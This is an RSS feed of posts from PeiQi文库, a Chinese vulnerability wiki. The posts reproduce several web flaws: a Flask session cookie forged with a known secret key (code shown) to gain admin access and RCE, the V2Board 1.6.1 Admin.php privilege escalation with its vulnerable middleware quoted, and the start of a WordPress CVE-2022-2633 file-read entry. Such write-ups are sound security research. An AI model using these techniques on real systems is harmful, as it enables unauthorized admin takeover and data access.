center;"><img class="rich_pages wxw-img" data-backh="73" data-backw="474" data-ratio="0.1537037037037037" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8bab2ee4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4KriaPmCVjsGYUNAc8HumU0I4gCcIeX1iborJsnTwntDDuQwROcBH8KIeYZKUazaw9hhwahDoxNyvg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">通过设置参数 user_id 和 _user_id 为 1 ,构造加密Cookie</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8FIETaUCyyNojZYXjHvq3mp73aa6lQpbuxIic3IBWznlwnfJQ4xiaCqCictC1R372oQ3VFO6XIC13nhMng0fQPhSF9/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">&gt;&gt;&gt; from flask_unsign import session<br/>&gt;&gt;&gt; session.sign({<span style="color: #50a14f;line-height: 26px;">&#39;_user_id&#39;</span>: 1, <span style="color: #50a14f;line-height: 26px;">&#39;user_id&#39;</span>: 1},<span style="color: #50a14f;line-height: 26px;">&#39;TEST_NON_DEV_SECRET&#39;</span>)<br/><span style="color: #50a14f;line-height: 26px;">&#39;eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZE51uw.EdD7zSzojgY4keqZLOKR4GndJf8&#39;</span><br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">利用构造的 Cookie就可以获取到 Web后台管理权限, 后台中存在数据库语句执行模块，通过设置允许执行其他数据库语句后利用数据库语句 RCE</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="204" data-backw="474" data-ratio="0.42907385697538103" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="853" src="https://wechat2rss.xlab.app/img-proxy/?k=5a3bfdef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4KriaPmCVjsGYUNAc8HumU0n6WQ9cYoxlUzb5t1BvRW5lWRwEkANe6361L9LvWWF75vcxhLRLmD5Q%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="140" data-backw="474" data-ratio="0.2953703703703704" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=057024f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4KriaPmCVjsGYUNAc8HumU0icSAjNKk4mhSTz3IrjNcGzTsbic1SxEFdEk192ddZyYicfOu4bqxicC9dQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">关注公众号</span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8FIETaUCyyNojZYXjHvq3mp73aa6lQpbuxIic3IBWznlwnfJQ4xiaCqCictC1R372oQ3VFO6XIC13nhMng0fQPhSF9/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号<br/>想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～<br/></code></pre><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">支持作者</span></h2><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="201" data-backw="474" data-ratio="0.42394822006472493" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="618" src="https://wechat2rss.xlab.app/img-proxy/?k=09537e9d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4KriaPmCVjsGYUNAc8HumU0TBrxXJicZSulu5BTR3a6M97ic6EkNiclUicEq3RsdvZSHibj1iahw5ia6HANg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">关于文库</span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8FIETaUCyyNojZYXjHvq3mp73aa6lQpbuxIic3IBWznlwnfJQ4xiaCqCictC1R372oQ3VFO6XIC13nhMng0fQPhSF9/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">在线文库: <a href="https://wiki.peiqi.tech (暂时关闭个人用户使用)" target="_blank">https://wiki.peiqi.tech (暂时关闭个人用户使用)</a><br/>Github: <a href="https://github.com/PeiQi0/PeiQi-WIKI-Book " target="_blank">https://github.com/PeiQi0/PeiQi-WIKI-Book </a><br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="258" data-backw="474" data-ratio="0.5444444444444444" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=534a68c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4KriaPmCVjsGYUNAc8HumU0Q2ujbJFIFWslsEY2F3vrdich0sJSDLGe8Ppleu7JCOur9akqStbLPbg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">文库动态</span></h2><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="210" data-backw="474" data-ratio="0.44351851851851853" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=99ab5674&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4KriaPmCVjsGYUNAc8HumU02g4DqpYicTHzxl7icj7GuDkGa7aYr8gNhg4icZtlHjDPmE5m6HRAbZXKQ%2F640%3Fwx_fmt%3Dpng"/></figure></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://github.com/PeiQi0/PeiQi-WIKI-Book">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=344f3f95&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDU2MTg0Ng%3D%3D%26mid%3D2247493755%26idx%3D1%26sn%3D37a32e87993577de96296e3d7bbfda38%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 30 Apr 2023 22:41:00 +0800</pubDate>
    </item>
    <item>
      <title>2023 - HW蓝队招募</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&amp;mid=2247493716&amp;idx=1&amp;sn=e17550ef8987e476cb53aad903619074</link>
      <description>2023 HW蓝队招募</description>
      <content:encoded><![CDATA[<p>
<span>PeiQi文库</span> <span>2023-04-18 09:00</span> <span style="display: inline-block;">湖北</span>
</p>

<p>2023 HW蓝队招募</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e58405b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibicicIH182el76QrAXze8eqpibEJRbXxH5ib17CRTG8SaIX0Qyma6fzSoDE5p4IuHibHSD7bBoqFf7QPqh1fhoRvYfA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;" data-mpa-powered-by="yiban.io"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.4148148148148147" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b799ec33&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el76QrAXze8eqpibEJRbXxH5ibfiazPqkQfCMFcxnFjmPypy3uWib2nrC97Sas9s71clKk6Yco1iblEHMgQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247493716">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9984e47f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDU2MTg0Ng%3D%3D%26mid%3D2247493716%26idx%3D1%26sn%3De17550ef8987e476cb53aad903619074%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 18 Apr 2023 09:00:00 +0800</pubDate>
    </item>
    <item>
      <title>V2Board Admin.php 越权访问漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&amp;mid=2247493664&amp;idx=1&amp;sn=71fced93632299ce1d560e109ae6c3db</link>
      <description>V2Board Admin.php 越权访问漏洞</description>
      <content:encoded><![CDATA[<p>
原创 <span>PeiQi文库</span> <span>2022-12-17 16:54</span> <span style="display: inline-block;">湖北</span>
</p>

<p>V2Board Admin.php 越权访问漏洞</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=78649f37&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibicicIH182el66M3viaNu2j1joNGl80t4bEVpXxN0cLaFwe2E9NNTIyokXndlOj9PoDibY0fuZ9AgGNIyCnr1pHK6Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-mpa-powered-by="yiban.io"><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">漏洞描述</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">V2board面板 Admin.php 存在越权访问漏洞，由于部分鉴权代码于v1.6.1版本进行了修改，鉴权方式变为从Redis中获取缓存判定是否存在可以调用接口，导致任意用户都可以调用管理员权限的接口获取后台权限</p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">漏洞影响</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">V2Board v1.6.1</p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">网络测绘</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;"><span style="all: unset;"><span style="all: unset;"><span style="all: unset;"><span style="all: unset;">title=</span></span></span><span style="all: unset;">&#34;</span><span style="all: unset;">V2Board</span><span style="all: unset;">&#34;</span></span></p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">漏洞复现</span><span></span></h2><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="258" data-backw="474" data-ratio="0.542910447761194" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="2144" src="https://wechat2rss.xlab.app/img-proxy/?k=6c60c16e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el66M3viaNu2j1joNGl80t4bE9MiaB7DnLUR5K8eYIghsLQZUP1L5NQp6mFW0KQGcrCZ4XR4HKXeEGrw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">对比代码更新部分</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="262" data-backw="474" data-ratio="0.5533333333333333" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=2bbfb767&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el66M3viaNu2j1joNGl80t4bEobhAubHMrtqXFtxLt2hVwaiaOzfEFPbE2JlzGgicnjvsceRFphKuWuTA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">与之前的代码相比较，鉴权在 v1.6.1 版本可以通过 auth_data 或 authorizetion 字段来实现验证</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8HD9tanSG1yevSqPee0uOfYnDCaTSXbUsqPuJWxjWOgjLcib5v4XibjXbOJ9libMHKojm6g9BDemCA9sMMZ1PbKusY/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="color: #4078f2;line-height: 26px;">&lt;?php</span><br/><span style="color: #a626a4;line-height: 26px;">namespace</span> <span style="color: #4078f2;line-height: 26px;">App</span>\<span style="color: #4078f2;line-height: 26px;">Http</span>\<span style="color: #4078f2;line-height: 26px;">Middleware</span>;<br/><span style="color: #a626a4;line-height: 26px;">use</span> <span style="color: #4078f2;line-height: 26px;">Closure</span>;<br/><span style="color: #a626a4;line-height: 26px;">use</span> <span style="color: #4078f2;line-height: 26px;">Illuminate</span>\<span style="color: #4078f2;line-height: 26px;">Support</span>\<span style="color: #4078f2;line-height: 26px;">Facades</span>\<span style="color: #4078f2;line-height: 26px;">Cache</span>;<br/><span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">class</span> <span style="color: #c18401;line-height: 26px;">Admin</span><br/></span>{<br/>  <span style="color: #a0a1a7;font-style: italic;line-height: 26px;">/**<br/>* Handle an incoming request.<br/>*<br/>* <span style="color: #a626a4;line-height: 26px;">@param</span> \Illuminate\Http\Request $request<br/>* <span style="color: #a626a4;line-height: 26px;">@param</span> \Closure $next<br/>* <span style="color: #a626a4;line-height: 26px;">@return</span> mixed<br/>*/</span><br/>  <span style="color: #a626a4;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">handle</span><span style="line-height: 26px;">($request, Closure $next)</span><br/>  </span>{<br/>    $authorization = $request-&gt;input(<span style="color: #50a14f;line-height: 26px;">&#39;auth_data&#39;</span>) ?? $request-&gt;header(<span style="color: #50a14f;line-height: 26px;">&#39;authorization&#39;</span>);<br/>    <span style="color: #a626a4;line-height: 26px;">if</span> (!$authorization) abort(<span style="color: #986801;line-height: 26px;">403</span>, <span style="color: #50a14f;line-height: 26px;">&#39;未登录或登陆已过期&#39;</span>);<br/>    $authData = explode(<span style="color: #50a14f;line-height: 26px;">&#39;:&#39;</span>, base64_decode($authorization));<br/>    <span style="color: #a626a4;line-height: 26px;">if</span> (!Cache::has($authorization)) {<br/>      <span style="color: #a626a4;line-height: 26px;">if</span> (!<span style="color: #a626a4;line-height: 26px;">isset</span>($authData[<span style="color: #986801;line-height: 26px;">1</span>]) || !<span style="color: #a626a4;line-height: 26px;">isset</span>($authData[<span style="color: #986801;line-height: 26px;">0</span>])) abort(<span style="color: #986801;line-height: 26px;">403</span>, <span style="color: #50a14f;line-height: 26px;">&#39;鉴权失败，请重新登入&#39;</span>);<br/>      $user = \App\Models\User::where(<span style="color: #50a14f;line-height: 26px;">&#39;password&#39;</span>, $authData[<span style="color: #986801;line-height: 26px;">1</span>])<br/>        -&gt;where(<span style="color: #50a14f;line-height: 26px;">&#39;email&#39;</span>, $authData[<span style="color: #986801;line-height: 26px;">0</span>])<br/>        -&gt;select([<br/>                 <span style="color: #50a14f;line-height: 26px;">&#39;id&#39;</span>,<br/>                 <span style="color: #50a14f;line-height: 26px;">&#39;email&#39;</span>,<br/>                 <span style="color: #50a14f;line-height: 26px;">&#39;is_admin&#39;</span>,<br/>                 <span style="color: #50a14f;line-height: 26px;">&#39;is_staff&#39;</span><br/>                 ])<br/>        -&gt;first();<br/>      <span style="color: #a626a4;line-height: 26px;">if</span> (!$user) abort(<span style="color: #986801;line-height: 26px;">403</span>, <span style="color: #50a14f;line-height: 26px;">&#39;鉴权失败，请重新登入&#39;</span>);<br/>      <span style="color: #a626a4;line-height: 26px;">if</span> (!$user-&gt;is_admin) abort(<span style="color: #986801;line-height: 26px;">403</span>, <span style="color: #50a14f;line-height: 26px;">&#39;鉴权失败，请重新登入&#39;</span>);<br/>      Cache::put($authorization, $user-&gt;toArray(), <span style="color: #986801;line-height: 26px;">3600</span>);<br/>    }<br/>    $request-&gt;merge([<br/>                    <span style="color: #50a14f;line-height: 26px;">&#39;user&#39;</span> =&gt; Cache::get($authorization)<br/>                    ]);<br/>    <span style="color: #a626a4;line-height: 26px;">return</span> $next($request);<br/>  }<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">可以发现主要要通过两次逻辑实现验证，一个是存在 header 中的 authorization 参数，再一个是校验 authorizations 是否存在于 Redis缓存中的</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;"><img class="rich_pages wxw-img" data-backh="269" data-backw="457" data-ratio="0.5873333333333334" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=f2b8eddb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el66M3viaNu2j1joNGl80t4bEAcHqOeXTyUDVzEKUVry7Ex89WKW2NyfQL2VWI3SR0NHZiaP41sCdIjg%2F640%3Fwx_fmt%3Dpng"/>在登陆验证的代码中，成功使用 email 和 password 登陆后会返回 token 和 auth_data</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="170" data-backw="474" data-ratio="0.358" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=d410aca9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el66M3viaNu2j1joNGl80t4bE2ZT8wEtrkYdI5aC5elZ2Qdh5boK0eBnEcer5t4v3T22B8ibAHp2Y2SA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">同时 auth_data 会缓存于 Redis 中</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="114" data-backw="474" data-ratio="0.23933333333333334" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=6c6ed473&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el66M3viaNu2j1joNGl80t4bEqY3jFxKRTiaicRXpayRHSeacT7icALxEibibnyYgJmmwibRJBNIFQN2J0iasg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">由于 Admin.php 文件中只验证了 authrization 是否在 Redis的缓存中，所以当注册任意一个用户进行登陆后获取到 auth_data 就可以任意调用 管理员的接口</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="275" data-backw="474" data-ratio="0.5793333333333334" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=1cb4f623&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el66M3viaNu2j1joNGl80t4bEde3jZDxraibtjpd23MVUg9c4lWT7bsZpcPhwt5nETggP9klkiazgAROg%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="199" data-backw="474" data-ratio="0.41933333333333334" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=1d202c38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el66M3viaNu2j1joNGl80t4bEwV8AjibttMC6icHPborbaSnic5Eo9icLcrj5A564lsoxibUUr2DmF7WzSuQ%2F640%3Fwx_fmt%3Dpng"/></figure></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="http://wiki.peiqi.tech">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c13e6573&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDU2MTg0Ng%3D%3D%26mid%3D2247493664%26idx%3D1%26sn%3D71fced93632299ce1d560e109ae6c3db%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 17 Dec 2022 16:54:00 +0800</pubDate>
    </item>
    <item>
      <title>WordPress All-in-One Video Gallery 任意文件读取漏洞 CVE-2022-2633</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&amp;mid=2247493613&amp;idx=1&amp;sn=589006eac3082d74820d6bd6e575cf60</link>
      <description>WordPress All-in-One Video Gallery video.php 任意文件读取漏洞 CVE-2022-2633</description>
      <content:encoded><![CDATA[<p>
原创 <span>PeiQi文库</span> <span>2022-10-10 19:33</span> <span style="display: inline-block;">湖北</span>
</p>

<p>WordPress All-in-One Video Gallery video.php 任意文件读取漏洞 CVE-2022-2633</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6af73eed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTATdm08ic8Z5MibwLpv0rbPibqg25004gYghRIFoKtG4l5FfzBNMJ1wrhQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-mpa-powered-by="yiban.io"><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="475" data-backw="474" data-ratio="1" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" 